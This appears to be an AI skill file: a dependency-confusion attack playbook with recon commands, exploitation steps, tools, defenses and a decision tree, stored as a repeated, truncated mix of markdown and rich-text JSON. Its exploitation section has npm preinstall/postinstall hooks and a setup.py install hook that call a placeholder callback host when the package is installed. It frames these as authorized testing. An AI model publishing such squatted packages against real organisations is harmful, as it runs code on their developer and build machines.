SKILL: Dependency Confusion — Supply Chain Attack Playbook AI LOAD INSTRUCTION : Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test. 0. QUICK START What to look for first - Manifests listing package nam…

--remote\n\n# Maven Central — search coordinates (example pattern)\n# curl \"https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json\"\n```\n\nRouting note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.\n\n---\n\n## 4. EXPLOITATION\n\n**Authorized testing pattern**\n\n1. **Register** (or use a controlled namespace) the **same package name** on the public registry your target resolver can reach.\n2. Publish a **higher semver** than the legitimate internal line **within the victim’s declared range** (e.g. `^1.0.0` → publish `9.9.9`).\n3. Add **lifecycle hooks** that prove execution without harming hosts—prefer **DNS/HTTP callback** to a collaborator you control, **no destructive writes**.\n\n**npm `package.json` — minimal callback-style PoC (illustrative)**\n\n```json\n{\n \"name\": \"some-internal-package-name\",\n \"version\": \"9.9.9\",\n \"description\": \"authorized dependency-confusion PoC only\",\n \"scripts\": {\n \"preinstall\": \"node -e \\\"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\\\"\"\n }\n}\n```\n\n**npm `package.json` — shell + curl fallback (illustrative)**\n\n```json\n{\n \"scripts\": {\n \"postinstall\": \"curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true\"\n }\n}\n```\n\n**pip — setup hook pattern (illustrative; use only in authorized lab packages)**\n\n```python\n# setup.py (excerpt)\nfrom setuptools import setup\nfrom setuptools.command.install import install\n\nclass PoCInstall(install):\n def run(self):\n import urllib.request\n urllib.request.urlopen(\"https://YOUR_CALLBACK_HOST/pip-install\")\n install.run(self)\n\nsetup(\n name=\"some-internal-package-name\",\n version=\"9.9.9\",\n cmdclass={\"install\": PoCInstall},\n)\n```\n\n**Reference implementation (study / lab)**: community PoC layout and workflow similar to [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — automate version bump, publish, and callback confirmation **only where you have written permission**.\n\n---\n\n## 5. TOOLS\n\n| Tool | Role |\n|------|------|\n| [**visma-prodsec/confused**](https://github.com/visma-prodsec/confused) | Scans manifest files for dependency names that may be **claimable** on public registries (multi-ecosystem). |\n| [**synacktiv/DepFuzzer**](https://github.com/synacktiv/DepFuzzer) | Automated **dependency confusion** testing workflows (use strictly in-scope). |\n\nRun these only against **your** manifests or **authorized** engagements; do not use to squat names for unrelated third parties.\n\n---\n\n## 6. DEFENSE\n\n- **npm**: Prefer **scoped** packages (`@org-scope/pkg`) with **org-owned** scopes; set **`.npmrc`** so private scopes map to private registry and **default `registry`** is not accidentally public for internal names.\n- **Pinning**: **Exact versions** + **lockfiles** (`package-lock.json`, `poetry.lock`, `Gemfile.lock`, `composer.lock`) enforced in CI.\n- **pip**: Avoid careless **`--extra-index-url`**; prefer **single private index** with **mirroring**, or **explicit `--index-url`** policies in CI.\n- **Maven / Gradle**: Control **repository order**, use **internal mirrors**, and **block** unexpected groupIds on release pipelines.\n- **Composer**: Use **`repositories`** with **`canonical: true`** for private packages; verify Packagist is not introducing unexpected vendors.\n- **Defensive registration**: **Reserve** internal names on public registries (squat your own names) where policy allows.\n- **Monitoring**: Tools such as **Socket.dev**, **Snyk**, or similar SBOM/supply-chain scanners to alert on **new publishers** or **version jumps** for critical packages.\n\n---\n\n## 7. DECISION TREE\n\n```text\nDo manifests reference package names that could be non-unique globally?\n├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.\n└─ YES\n ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?\n │ ├─ YES → Lower risk; still verify CI and developer machines do not override config.\n │ └─ NO → HIGH RISK\n │ ├─ Can a public registry publish a HIGHER version inside declared ranges?\n │ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.\n │ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.\n │ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)\n```\n\n---\n\n## Related routing\n\n- **From `recon-for-sec`**: When doing **supply-chain reconnaissance**, cross-link leaked manifests and internal package identifiers with the checks in **Section 3** and the decision tree in **Section 7** before proposing any publish/PoC steps.\n---","attachment_filenames":[],"attachments":[],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"SKILL: Dependency Confusion — Supply Chain Attack Playbook","type":"text"}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"AI LOAD INSTRUCTION","type":"text","marks":[{"type":"strong"}]},{"text":": Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. ","type":"text"},{"text":"Only use on systems and programs you are authorized to test.","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"0. QUICK START","type":"text"}]},{"type":"paragraph","content":[{"text":"What to look for first","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Manifests","type":"text","marks":[{"type":"strong"}]},{"text":" listing package names that look ","type":"text"},{"text":"internal","type":"text","marks":[{"type":"strong"}]},{"text":" (short unscoped names, org-specific tokens, product codenames) without a ","type":"text"},{"text":"hard-private registry lock","type":"text","marks":[{"type":"strong"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Evidence the ","type":"text"},{"text":"same name","type":"text","marks":[{"type":"strong"}]},{"text":" might exist—or be ","type":"text"},{"text":"squattable","type":"text","marks":[{"type":"strong"}]},{"text":"—on a ","type":"text"},{"text":"public","type":"text","marks":[{"type":"strong"}]},{"text":" registry with a ","type":"text"},{"text":"higher semver","type":"text","marks":[{"type":"strong"}]},{"text":" than the private feed publishes.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Lockfiles","type":"text","marks":[{"type":"strong"}]},{"text":" missing, stale, or not enforced in CI so ","type":"text"},{"text":"install","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"build","type":"text","marks":[{"type":"code_inline"}]},{"text":" can drift toward public metadata.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Fast mental model","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.","type":"text","marks":[{"type":"em"}]}]},{"type":"paragraph","content":[{"text":"Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use ","type":"text"},{"text":"recon-for-sec","type":"text","marks":[{"type":"code_inline"}]},{"text":" to list internal package names and possible public-registry collisions.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"1. CORE CONCEPT","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Private packages","type":"text","marks":[{"type":"strong"}]},{"text":": An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like ","type":"text"},{"text":"@org-scope/internal-utils","type":"text","marks":[{"type":"code_inline"}]},{"text":" or an ","type":"text"},{"text":"unscoped","type":"text","marks":[{"type":"strong"}]},{"text":" name such as ","type":"text"},{"text":"acme-billing-sdk","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Attacker squats the name","type":"text","marks":[{"type":"strong"}]},{"text":": The same package name is published on a ","type":"text"},{"text":"public","type":"text","marks":[{"type":"strong"}]},{"text":" registry (npmjs, PyPI, RubyGems, etc.).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Resolver preference","type":"text","marks":[{"type":"strong"}]},{"text":": Many setups resolve ","type":"text"},{"text":"highest matching version","type":"text","marks":[{"type":"strong"}]},{"text":" across ","type":"text"},{"text":"all configured indexes","type":"text","marks":[{"type":"strong"}]},{"text":" (or merge metadata), so a public ","type":"text"},{"text":"9.9.9","type":"text","marks":[{"type":"code_inline"}]},{"text":" can beat a private ","type":"text"},{"text":"1.2.3","type":"text","marks":[{"type":"code_inline"}]},{"text":" if ranges allow.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Execution","type":"text","marks":[{"type":"strong"}]},{"text":": Package managers run ","type":"text"},{"text":"lifecycle scripts","type":"text","marks":[{"type":"strong"}]},{"text":" (npm ","type":"text"},{"text":"preinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"postinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":", setuptools entry points, etc.) → ","type":"text"},{"text":"attacker code runs","type":"text","marks":[{"type":"strong"}]},{"text":" on developer laptops, CI, or production image builds.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"This is a ","type":"text"},{"text":"supply-chain","type":"text","marks":[{"type":"strong"}]},{"text":" class issue: impact is often ","type":"text"},{"text":"broad","type":"text","marks":[{"type":"strong"}]},{"text":" (many consumers) and ","type":"text"},{"text":"silent","type":"text","marks":[{"type":"strong"}]},{"text":" until build or runtime hooks fire.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"2. AFFECTED ECOSYSTEMS","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ecosystem","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Typical manifest","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Confusion angle","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"npm","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"package.json","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Scoped","type":"text","marks":[{"type":"strong"}]},{"text":" packages (","type":"text"},{"text":"@scope/pkg","type":"text","marks":[{"type":"code_inline"}]},{"text":") are ","type":"text"},{"text":"safer","type":"text","marks":[{"type":"strong"}]},{"text":" when the scope is ","type":"text"},{"text":"owned","type":"text","marks":[{"type":"strong"}]},{"text":" on the registry; ","type":"text"},{"text":"unscoped","type":"text","marks":[{"type":"strong"}]},{"text":" private-style names are ","type":"text"},{"text":"high risk","type":"text","marks":[{"type":"strong"}]},{"text":". Multiple registries / ","type":"text"},{"text":".npmrc","type":"text","marks":[{"type":"code_inline"}]},{"text":" ","type":"text"},{"text":"registry","type":"text","marks":[{"type":"code_inline"}]},{"text":" vs per-scope ","type":"text"},{"text":"@scope:registry=","type":"text","marks":[{"type":"code_inline"}]},{"text":" misconfiguration increases risk.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"pip","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"requirements.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pyproject.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"setup.py","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"pip install -i","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"--extra-index-url","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" merges indexes; a public index can serve a ","type":"text"},{"text":"higher version","type":"text","marks":[{"type":"strong"}]},{"text":" for the same distribution name.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RubyGems","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Gemfile","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"source","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" order and additional sources; ambiguous gem names reachable from rubygems.org.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Maven","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"pom.xml","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Repository","type":"text","marks":[{"type":"strong"}]},{"text":" declaration ","type":"text"},{"text":"order","type":"text","marks":[{"type":"strong"}]},{"text":" and ","type":"text"},{"text":"mirror","type":"text","marks":[{"type":"strong"}]},{"text":" settings; a public repo publishing the same ","type":"text"},{"text":"groupId:artifactId","type":"text","marks":[{"type":"code_inline"}]},{"text":" under a higher version can win if policy allows.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Composer","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"composer.json","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Packagist","type":"text","marks":[{"type":"strong"}]},{"text":" is default; private packages without ","type":"text"},{"text":"repositories","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":"/","type":"text"},{"text":"canonical","type":"text","marks":[{"type":"code_inline"}]},{"text":" discipline may collide with public names.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Docker","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"FROM","type":"text","marks":[{"type":"code_inline"}]},{"text":", image tags","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Typosquatting","type":"text","marks":[{"type":"strong"}]},{"text":" on container registries (e.g. public hub) for images with names similar to internal base images.","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"3. RECONNAISSANCE","type":"text"}]},{"type":"paragraph","content":[{"text":"Where internal names leak","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Committed ","type":"text"},{"text":"package.json","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":"requirements.txt","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":"Gemfile","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":"pom.xml","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":"composer.json","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" in repos or forks.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"JavaScript source maps","type":"text","marks":[{"type":"strong"}]},{"text":", bundled assets, or ","type":"text"},{"text":"error stack traces","type":"text","marks":[{"type":"strong"}]},{"text":" referencing package paths.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":".npmrc","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":".pypirc","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":", ","type":"text"},{"text":"CI logs","type":"text","marks":[{"type":"strong"}]},{"text":" showing install URLs or mirror endpoints.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Issue trackers","type":"text","marks":[{"type":"strong"}]},{"text":", ","type":"text"},{"text":"gist snippets","type":"text","marks":[{"type":"strong"}]},{"text":", and ","type":"text"},{"text":"dependency graphs","type":"text","marks":[{"type":"strong"}]},{"text":" from SBOM exports.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Check public squatting / claimability (read-only)","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# npm — metadata for a name (unscoped)\nnpm view some-internal-package-name version\n\n# npm — scoped (requires scope to exist / be readable)\nnpm view @some-scope/internal-lib versions --json\n\n# PyPI — dry-run style version probe (adjust name; fails if not found)\npython3 -m pip install --dry-run 'some-internal-package-name==99.99.99'\n\n# RubyGems — query remote\ngem search '^some-internal-package-name

SKILL: Dependency Confusion — Supply Chain Attack Playbook AI LOAD INSTRUCTION : Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test. 0. QUICK START What to look for first - Manifests listing package nam…

--remote\n\n# Maven Central — search coordinates (example pattern)\n# curl \"https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"4. EXPLOITATION","type":"text"}]},{"type":"paragraph","content":[{"text":"Authorized testing pattern","type":"text","marks":[{"type":"strong"}]}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Register","type":"text","marks":[{"type":"strong"}]},{"text":" (or use a controlled namespace) the ","type":"text"},{"text":"same package name","type":"text","marks":[{"type":"strong"}]},{"text":" on the public registry your target resolver can reach.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Publish a ","type":"text"},{"text":"higher semver","type":"text","marks":[{"type":"strong"}]},{"text":" than the legitimate internal line ","type":"text"},{"text":"within the victim’s declared range","type":"text","marks":[{"type":"strong"}]},{"text":" (e.g. ","type":"text"},{"text":"^1.0.0","type":"text","marks":[{"type":"code_inline"}]},{"text":" → publish ","type":"text"},{"text":"9.9.9","type":"text","marks":[{"type":"code_inline"}]},{"text":").","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Add ","type":"text"},{"text":"lifecycle hooks","type":"text","marks":[{"type":"strong"}]},{"text":" that prove execution without harming hosts—prefer ","type":"text"},{"text":"DNS/HTTP callback","type":"text","marks":[{"type":"strong"}]},{"text":" to a collaborator you control, ","type":"text"},{"text":"no destructive writes","type":"text","marks":[{"type":"strong"}]},{"text":".","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"npm ","type":"text","marks":[{"type":"strong"}]},{"text":"package.json","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" — minimal callback-style PoC (illustrative)","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\n \"name\": \"some-internal-package-name\",\n \"version\": \"9.9.9\",\n \"description\": \"authorized dependency-confusion PoC only\",\n \"scripts\": {\n \"preinstall\": \"node -e \\\"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\\\"\"\n }\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"npm ","type":"text","marks":[{"type":"strong"}]},{"text":"package.json","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" — shell + curl fallback (illustrative)","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\n \"scripts\": {\n \"postinstall\": \"curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true\"\n }\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"pip — setup hook pattern (illustrative; use only in authorized lab packages)","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# setup.py (excerpt)\nfrom setuptools import setup\nfrom setuptools.command.install import install\n\nclass PoCInstall(install):\n def run(self):\n import urllib.request\n urllib.request.urlopen(\"https://YOUR_CALLBACK_HOST/pip-install\")\n install.run(self)\n\nsetup(\n name=\"some-internal-package-name\",\n version=\"9.9.9\",\n cmdclass={\"install\": PoCInstall},\n)","type":"text"}]},{"type":"paragraph","content":[{"text":"Reference implementation (study / lab)","type":"text","marks":[{"type":"strong"}]},{"text":": community PoC layout and workflow similar to ","type":"text"},{"text":"0xsapra/dependency-confusion-exploit","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xsapra/dependency-confusion-exploit","title":null}},{"type":"code_inline"}]},{"text":" — automate version bump, publish, and callback confirmation ","type":"text"},{"text":"only where you have written permission","type":"text","marks":[{"type":"strong"}]},{"text":".","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"5. TOOLS","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Tool","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Role","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"visma-prodsec/confused","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/visma-prodsec/confused","title":null}},{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Scans manifest files for dependency names that may be ","type":"text"},{"text":"claimable","type":"text","marks":[{"type":"strong"}]},{"text":" on public registries (multi-ecosystem).","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"synacktiv/DepFuzzer","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/synacktiv/DepFuzzer","title":null}},{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Automated ","type":"text"},{"text":"dependency confusion","type":"text","marks":[{"type":"strong"}]},{"text":" testing workflows (use strictly in-scope).","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Run these only against ","type":"text"},{"text":"your","type":"text","marks":[{"type":"strong"}]},{"text":" manifests or ","type":"text"},{"text":"authorized","type":"text","marks":[{"type":"strong"}]},{"text":" engagements; do not use to squat names for unrelated third parties.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"6. DEFENSE","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"npm","type":"text","marks":[{"type":"strong"}]},{"text":": Prefer ","type":"text"},{"text":"scoped","type":"text","marks":[{"type":"strong"}]},{"text":" packages (","type":"text"},{"text":"@org-scope/pkg","type":"text","marks":[{"type":"code_inline"}]},{"text":") with ","type":"text"},{"text":"org-owned","type":"text","marks":[{"type":"strong"}]},{"text":" scopes; set ","type":"text"},{"text":".npmrc","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" so private scopes map to private registry and ","type":"text"},{"text":"default ","type":"text","marks":[{"type":"strong"}]},{"text":"registry","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" is not accidentally public for internal names.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pinning","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"Exact versions","type":"text","marks":[{"type":"strong"}]},{"text":" + ","type":"text"},{"text":"lockfiles","type":"text","marks":[{"type":"strong"}]},{"text":" (","type":"text"},{"text":"package-lock.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"poetry.lock","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Gemfile.lock","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"composer.lock","type":"text","marks":[{"type":"code_inline"}]},{"text":") enforced in CI.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pip","type":"text","marks":[{"type":"strong"}]},{"text":": Avoid careless ","type":"text"},{"text":"--extra-index-url","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":"; prefer ","type":"text"},{"text":"single private index","type":"text","marks":[{"type":"strong"}]},{"text":" with ","type":"text"},{"text":"mirroring","type":"text","marks":[{"type":"strong"}]},{"text":", or ","type":"text"},{"text":"explicit ","type":"text","marks":[{"type":"strong"}]},{"text":"--index-url","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" policies in CI.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Maven / Gradle","type":"text","marks":[{"type":"strong"}]},{"text":": Control ","type":"text"},{"text":"repository order","type":"text","marks":[{"type":"strong"}]},{"text":", use ","type":"text"},{"text":"internal mirrors","type":"text","marks":[{"type":"strong"}]},{"text":", and ","type":"text"},{"text":"block","type":"text","marks":[{"type":"strong"}]},{"text":" unexpected groupIds on release pipelines.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Composer","type":"text","marks":[{"type":"strong"}]},{"text":": Use ","type":"text"},{"text":"repositories","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" with ","type":"text"},{"text":"canonical: true","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" for private packages; verify Packagist is not introducing unexpected vendors.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Defensive registration","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"Reserve","type":"text","marks":[{"type":"strong"}]},{"text":" internal names on public registries (squat your own names) where policy allows.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Monitoring","type":"text","marks":[{"type":"strong"}]},{"text":": Tools such as ","type":"text"},{"text":"Socket.dev","type":"text","marks":[{"type":"strong"}]},{"text":", ","type":"text"},{"text":"Snyk","type":"text","marks":[{"type":"strong"}]},{"text":", or similar SBOM/supply-chain scanners to alert on ","type":"text"},{"text":"new publishers","type":"text","marks":[{"type":"strong"}]},{"text":" or ","type":"text"},{"text":"version jumps","type":"text","marks":[{"type":"strong"}]},{"text":" for critical packages.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"7. DECISION TREE","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"Do manifests reference package names that could be non-unique globally?\n├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.\n└─ YES\n ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?\n │ ├─ YES → Lower risk; still verify CI and developer machines do not override config.\n │ └─ NO → HIGH RISK\n │ ├─ Can a public registry publish a HIGHER version inside declared ranges?\n │ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.\n │ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.\n │ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Related routing","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"From ","type":"text","marks":[{"type":"strong"}]},{"text":"recon-for-sec","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":": When doing ","type":"text"},{"text":"supply-chain 